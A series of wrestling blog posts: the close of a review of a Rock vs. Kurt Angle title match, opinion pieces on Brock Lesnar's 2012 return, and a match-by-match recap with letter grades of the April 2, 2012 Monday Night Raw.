We recap Rock vs. Angle. Rock beat Big Show to get the shot. That’s it. Rock says tick tock a lot also.

Rock says the same stuff we heard in the video package.

WWF Title: The Rock vs. Kurt Angle

It’s pretty much one sided as to who is going to win here and even Ross and Tazz acknowledge it. Long staredown to start and we’re on. The straps are down before we even start as we hear about him using some hold called an ankle lock. Rock hits a jumping Russian leg sweep for two. Ankle lock goes on about a minute in but Rock makes the ropes. These two always have had good chemistry together so this should be solid stuff.

A pair of belly to bellies but Rock almost gets dropped on his head the first time. He clearly tucks his head more on the second one so at least he can learn on the fly. Sharpshooter goes on and Angle is in trouble. This is very fast paced so far. A belly to back suplex from Kurt but he didn’t spin slightly so it’s not the Angle Slam. Second rope suplex gets two for Rock.

I’m not sure if I like Rock’s DDT or not. He does it oddly for some reason. And here’s Big Show for no apparent reason. Chokeslams for everyone including the referee. Show’s music plays him out as I expect us to cut to a commercial or something. Angle covers Rock but there’s no referee. He pops Angle with the title as there’s another referee. What a heelish thing to do but Angle gets up anyway.

Ankle lock out of nowhere and Angle drops some nice cursing in there. Rock gets the counter and initiates his ending sequence. The elbow gets two to a huge reaction as everyone thought it was over. Rock Bottom is blocked and there’s the Olympic Slam for two and a freaking ROAR. Rock starts his punches but Angle kicks him in the ankle in a nice counter.

Angle gets rammed into the buckle chest first and walks into the Rock Bottom for….two? Angle did not move at all and the announcers sound very confused. The referee seemingly just stopped counting instead of doing the three. Either that was a botch or there’s something I’m missing here. The fans boo the heck out of it as Rock picks him up and hits another Rock Bottom for the clean pin. That had to be a botch on the first one.

Rating: B. Solid match here, but the Big Show thing was just totally pointless. The ending was just weird though as that had to be a botch though as it just made no sense at all. These two always worked well together and this was no exception. Solid match and definitely worthy of a main event on a PPV.

Overall Rating: A. This was an AWESOME show with two great matches and only one that wasn’t much, which was 5 minutes long. This was one of the best periods for the company and you can see why right here. They know they’re on top of the world and all roads lead to Houston and Wrestlemania, which is the undisputed crowning moment for the company. Great show and highly worth checking out from top to bottom.

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A Thought About Cena/Lesnar

I read something like this on another site and it makes me think about a few things. Paraphrased:

“It really says a lot about Cena that they have to bring out The Rock and a legit superstar fighter to make him break a sweat. That’s how far and away he is above the rest of the current roster.”

And that’s true. Lesnar is one of those guys that fans talk about in awe. He was a once in a generation talent and he managed to rise to the top of a legitimate sport. THAT is what they had to bring back to give Cena a real challenge.

Think about that for a bit.




Detailed Thoughts On Lesnar’s Return

So last night Brock Lesnar returned to the WWE after an eight year absence.  I didn’t really say much about it due to the sake of time, so here are a few more thoughts on it.This is a huge deal for WWE as it brings in a new set of fans in the form of UFC fans who watched Brock rampage through the organization for a few years.  It’s pretty clear that’s the main idea behind this and there’s nothing wrong with that.  This broadens the fanbase a little as a lot of UFC fans are old wrestling fans that got tired of the way the product was going and jumped ship.  There aren’t many ways to get them back other than to take some UFC talent, and that’s what they did here.

Storyline wise this opens up a lot of doors, as Lesnar could feud with anyone from Rock to Cena to Punk to Undertaker and have some excellent matches with them.  Lesnar allegedly has signed a one year deal and should appear about every two weeks, which is more than enough to keep people watching instead of the way Rock did it, where he’d show up about once a month for the majority of a year. Lesnar offers something fresh but familiar, but most importantly with Brock is he could have a lot left in the tank.

This is something I find imporant: Brock is only 34 years old.  By comparison, Sheamus is 34, Orton is 32, Punk is 33 and Cena is 34 (35 before the end of April).  No one would call any of those guys over the hill, and Brock is a brand new name to a large portion of these fans.  If WWE can convince him to stay a little longer than the contract he has, there’s a lot of potential to get there.

With Lesnar only appearing every few weeks, it keeps him fresh while still keeping him familiar, which is very important.  One of the reasons Cena became unpopular was because he’s always on TV.  One of the reasons Rock stays popular is he’s rarely on TV, but at the same time he was away enough that he lost some of his luster.  Getting a ground in the middle is a very nice touch, and most importantly you can still push stories without him there every week.

That brings us to the most talked about topic: what is Lesnar going to do?  Well last night he attacked Cena, but the problem is where do you have that match go down?  I really wouldn’t like to wait four months for Summerslam for their showdown.  That being said, for the life of me I can’t see this match happening at Extreme Rules.  You also have to throw in the wild card of The Rock, who Cena wanted to see last night before he took the F5.  It seems that they’re leaving the door open to decide what they’re going to do, which is in contrast to last year where they announced the main event of the big show a year in advance, which to me wasn’t the greatest idea.  This leaves them some options, which is a very good thing for them.

Overall, Brock is a huge coup for WWE as they needed something to bring in some old fans since Rock is probably not going to be available full time.  That being said, they need to treat Brock as well as they can.  WWE needs Lesnar WAY more than Lesnar needs WWE, so do whatever he likes.  he’s not going to return full time because he doesn’t need to, so use him sparingly and in the right places.  Him vs. Cena is a dream match, but I don’t know where they’re going with Cena at this point as I don’t see the point in having him beat Lesnar.  That’s the fun part about this: it’s not clear at all where it’s going, which is the best thing you can have in wrestling.

Thoughts/predictions?




Monday Night Raw – April 2, 2012: LESNAR!

Monday Night Raw
Date: April 2, 2012
Location: American Airlines Arena, Miami, Florida
Commentators: Michael Cole, Jerry Lawler

Tonight is the show after Wrestlemania and we basically start the new year in WWE. The Rock beat John Cena last night in a good match that didn’t quite live up to its hype. Other than that, HHH couldn’t break the Streak, which shouldn’t surprise anyone. I’m not sure what comes next on this show, which is what makes tonight fun. Let’s get to it.

We open with a state of the shows speech by Ace but Punk interrupts, saying that everyone knows that Ace is a giant tool box. Ace says that Punk is defending tonight against Mark Henry. This is the era of People Power according to the boss.

Theme song.

Here’s Rock for the real opening. The fans chant his latest catchphrase for awhile to keep him from talking for awhile and he does the goosebumps thing. He talks about how he came back 14 months ago and they’ve done it all since then. It wasn’t until last night that Rock stood before 70,000 people and won at Wrestlemania in Sun Life Stadium. Now he can truly say he’s come back….home.

Rock explains the goosebumps thing again and says he has to thank Cena. The fans of course think he sucks because it’s what they’re programmed to do. Rock says it’s an honor to have competed against Cena in the biggest match of all time, and all that matters is they made history for the fans. Rock thanks the people for being there for him last night and for always being behind him.

For some reason Rock talks about being cut from the Canadian Football League. “Do you realize how much you have to suck to be cut from the Canadian Football League????” He thanks the people for making him the people’s champion and promises this is only the beginning. The fans chant Thank You Rocky and Rock talks about having a vision last night after partying in Miami. He shows off a bit of the dancing he did (drawing a whistle, apparently from a male Cena fan) and asks if the people want to hear his vision. The vision is that one day he’ll be WWE Champion.

US Title: Santino Marella vs. Jack Swagger vs. Dolph Ziggler

Basically it’s a handicap match here as both guys corner him. Swagger gets him in the corner and Ziggler kicks him down. There are the sit-ups from Ziggler and Swagger rides him on the mat. Santino fights back with right hands and dumps Dolph to the floor (required great bump) but Swagger runs him over with a tackle as we take a break. Back with Santino in trouble again, more or less just like it’s been all match so far.

Ziggy holds him but Santino gets in a boot and a Saito Suplex to Ziggler. He takes over on Jack and loads up the Cobra but Dolph grabs a neckbreaker to put him right back down. An assisted Fameasser gets two as Jack looks like he wants to make the save. Yep we’re in triple threat formula territory now. Swagger suplexes Ziggler but the Vader Bomb eats knees. Ziggler dropkicks Swagger and walks into a slingshot. Cobra to Swagger keeps the title at 6:51.

Rating: C-. This was any triple threat match that you’ve seen in a long time. The face gets beaten down for awhile, the heels don’t get along, the face steals the win to keep the title. There’s nothing wrong with that and it worked decently here, but it’s something we’ve seen time after time.

Post match they go after him (after falling for the LOOK OVER THERE gag) and almost catch him on the stage, but Brodus freaking Clay comes out as backup for Santino. Ziggy charges at him but runs into the headbutt. Swagger won’t jump him so Clay, the dancers and Santino have a little dance party. LOUD Funkasaurus chant during him staring down Swagger/Ziggler too. That’s a really good sign.

Lord Tensai vs. Alex Riley

Tensai has some Japanese guy with him to throw salt. It’s clearly Albert/A-Train even though all of his face other than his eyes is covered. Cole says it’s known that he’s a former WWE Superstar who went to Japan and dominated before coming back. I’m not sure if I like that or not but it’s one way to go. He’s in red trunks and arm bands and has Japanese symbols across his face diagonally. His face is uncovered now but we haven’t heard his old name yet. Total domination with tons of elbow strikes and headbutts and Riley is out. Chokebomb ends this via referee stoppage at 2:46. Standard debuting monster squash.

Riley is almost up a few seconds later so Tensai throws on a claw post match. He spit something on his hand before putting the hold on. They never said A-Train or Albert.

We hear again about how Cena is going to call out Rock tonight for the fallout from last night. We’ve gotten two clips of him saying he had to win last night, so the question is how he’ll react to it.

Raw World Title: Mark Henry vs. CM Punk

Punk gets overpowered to start but manages to get in some strikes. Those get him absolutely nowhere. Well, unless you count face down on the mat and getting pounded on somewhere of course. Either way, Henry dominates him with pure power. Punk’s back is still hurt from the Jericho match last night. There’s a bearhug but it never goes on fully, as Punk pounds away and DDTs out of it for two. Running knee to the head gets the same. Henry gets in another shot to the back and sets for a Vader Bomb, but Punk gets in a shot to break it up.

That doesn’t really matter though as Henry drills him again and tries a second time. This time Punk moves and Henry crashes down. Henry manages to run him over though and we take a break. Back with Punk diving into a clothesline but getting caught by Henry. He knocks the champ down again and it’s nerve hold time. Punk fights out of that and chops the tar out of Henry.

A high kick puts Henry down and a very slow climb sets up the Macho Elbow. It hurts Punk’s back again but he manages the running knee in the corner. No bulldog though. Another knee looks to set up the bulldog but Henry throws Punk to the floor. That combo works about 2% of the time. In a very surprising ending, Punk doesn’t beat the count back in and Henry wins by countout at 13:00.

Rating: C+. Good stuff here with Punk fighting the odds and trying to hang in there, but I’m not sure I like the ending. It obviously sets up a rematch for Henry which is the right idea, and I think I can live with that. Not a bad match at all, but it wasn’t my favorite for some reason. Maybe it’s Henry not being that interesting anymore. Actually scratch that about the ending. The match was for the title so there was no other way to end it if that’s how they’re going forward, which is ok.

Post match Henry gives him the World’s Strongest Slam on the floor. The fans want Lesnar. Ace and Otunga come out to say that Punk is going to be defending the title on a much more consistent basis. Jericho pops up and says that it looks like Punk needs a drink. He pulls out a bottle of what looks like whiskey and pours it on Punk’s head, ala Raven or Lawler/Roberts in 1996. Jericho slips on the booze in a funny bit. Jericho goes to get another bottle and breaks this one over Punk’s head. Punk’s hand shaking is a nice touch.

Here’s Sheamus, but he’s immediately cut off by the returning Alberto Del Rio in I believe a Lamborghini. Scratch that it’s a Mercedes. Del Rio says he wouldn’t lose in 18 seconds. Sheamus has a new challenger and his name is Alberto Del Rio, according to Ricardo in a great bit. The fans chant SI SI SI SI in another funny bit. The crowd has been great for the most part tonight. Ace has granted Del Rio a match on Smackdown with Sheamus and if he wins, he gets a future title match. Del Rio’s mic goes out and he goes to get another, but turns around into the Brogue Kick. Cool ending to the segment.

Bryan and AJ were watching and Josh pops up. Bryan glares at Josh and that’s that.

Cody Rhodes vs. Kofi Kingston

It’s weird seeing Cody without the title. Kofi starts fast with a spinning cross body but he walks into the Disaster Kick. He sets for something else but here’s Big Show with the title. Show has a clip of last night with Cody’s Embarrassing Wrestlemania Moment. Ok that’s pretty good. Cody walks into Trouble in Paradise for the pin at 1:50.

More Cena and Rock clips with Cena talking about how he had to win.

Henry is ticked off in the back and Abraham Washington of all people comes in to say it’s time for a change for Mark. Washington offers to manage him and leaves Mark with one of his cards.

Here’s Eve who says that last night was her Wrestlemania moment. She manipulated Ryder and can manipulate any man, except the GM, Johnny Ace. People Power!

The Miz vs. Zack Ryder

Cena has just arrived apparently. Ryder takes Miz down with a forearm and pounds away. A sunset flip is rolled through for two for Ryder. He kicks Miz into the corner and is very aggressive here. Miz kicks him down and hooks a chinlock. That’s broken quickly and Ryder gets two knees up to Miz’s face. Cole compares Eve to Jane Eyre. For some reason I don’t think there’s a big crossover between Bronte fans and Raw fans, but I could be wrong. Broski Boot gets two. Miz throws Ryder’ss shoulder into the post and the Skull Crushing Finale gets the clean pin at 2:58.

Overall Rating: B+. This show clicked very well. First of all, it FLEW by. We seemingly have the next world title matches lined up, with two potential challengers for both champions. There’s a new manager around now and Tensai’s debut was….well it was ok I guess, but it was nothing that came off to me as great. Really good show, although the wrestling needed to be a bit better.

Orton vs. Kane on Friday.

Here’s Cena for the big callout. There’s going to be a LONG overrun tonight as it’s 10:58 when his music starts. Cena says that everyone in life faces defeat, which is paraphrased here but the real line was a Muhammad Ali quote. Cena says he didn’t ever think he would lose. During the whole year it never crossed his mind because if you think that way you’ve already lost. A true champion believes he can win even through his most disappointing loss.

Cena says there was a lot of speculation as to how he’d react to this. Would he lash out? Would he make excuses? The fans chant that he’s a loser. Cena says people have wondered if this was the day he finally lashed out at the WWE Universe. The fans chant YES YES YES in a good bit. Cena says that’s not going to happen, drawing heat on the level that he got in the stadium last night. Cena is a man and he was beaten. He admits defeat and apologizes to his supporters. Cena thanks the rapper from last night and gets booed again.

Now let’s address the rumors about calling Rock out. He’s not going to do that because he doesn’t want to fight Rock and they’ve called each other out for a year. The fans want Lesnar and Cena stops for them to chant it. He says that it’s always an interesting crowd at Raw and he wants Rock. Cena invites him down to the ring to talk because he doesn’t want to fight. John says he thinks Rock is the greatest in WWE history. Cena wants one more moment of celebration for Rock in the middle of the ring. The fans still want Lesnar. Cena starts a yes chant and says Bryan owes him one. No Rock yet.

LESNAR! HE’S BACK! He poses on the stage (with Cole sounding like he’s calling a Superstars main event) and circles the ring before getting in. Cena applauds him and Lesnar picks him up for a HUGE F5. He kicks Cena’s hat away and stands tall to end the show.

Overall Rating
: A. This show clicked very well. First of all, it FLEW by. We seemingly have the next world title matches lined up, with two potential challengers for both champions. There’s a new manager around now and Tensai’s debut was….well it was ok I guess, but it was nothing that came off to me as great. Really good show, although the wrestling needed to be a bit better. And then Lesnar came back, to make it a HUGE show.

Results
Santino Marella b. Jack Swagger and Dolph Ziggler – Cobra to Swagger
Lord Tensai b. Alex Riley via referee stoppage
Mark Henry b. CM Punk via countout
Kofi Kingston b. Cody Rhodes – Trouble in Paradise
The Miz b. Zack Ryder – Skull Crushing Finale

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Rock Wants To Be WWE Champion

That’s his announcement tonight. It’s better than just challenging someone I think.

Thoughts on this?